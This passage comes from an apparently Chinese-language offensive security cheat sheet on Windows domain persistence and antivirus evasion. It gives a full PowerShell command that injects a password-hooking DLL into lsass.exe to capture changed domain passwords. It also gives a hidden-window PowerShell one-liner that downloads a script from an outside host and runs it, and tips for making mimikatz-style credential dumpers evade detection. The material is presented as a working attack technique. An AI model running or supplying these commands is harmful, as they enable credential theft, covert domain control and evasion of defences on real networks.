    当执行完上述命令后,就可以使用“mimikatz”作为一个万能密码,去连接域控,该方法可用于当域控密码被改掉时,我们依然可以去控制域控。

  5. Hook PasswordChangeNotify

    通过往lsass.exe进程中注入dll,达到通过Hook

    PasswordChangeNotify拦截修改的帐户密码。该方法可用于拦截域内修改的密码。

    https://github.com/Jumbo-WJB/Misc-Windows-Hacking

    powershell exec bypass Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange.dll –procname lsass}"
    

    密码保存在c:\windows\temp\passwords.txt

0x26 免杀及其他

  1. Powershell绕过

    将powershell拷贝到指定目录修改文件名为xx.txt
    xx.txt -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://0.0.0.0:80/a'))"
    
  2. 抓密码工具免杀

    1).配合上面的powershell绕过执行ps1版的mimikatz

    2).RPC调用动态加载SSP让lsass.exe自己dump 内存

    https://blog.xpnsec.com/exploring-mimikatz-part-2/

    3).restorator工具增加版本信息

  3. 源码免杀(后续补充)

  4. 白名单免杀(后续补充)

    1. msbuild
    2. wmic
comments powered by Disqus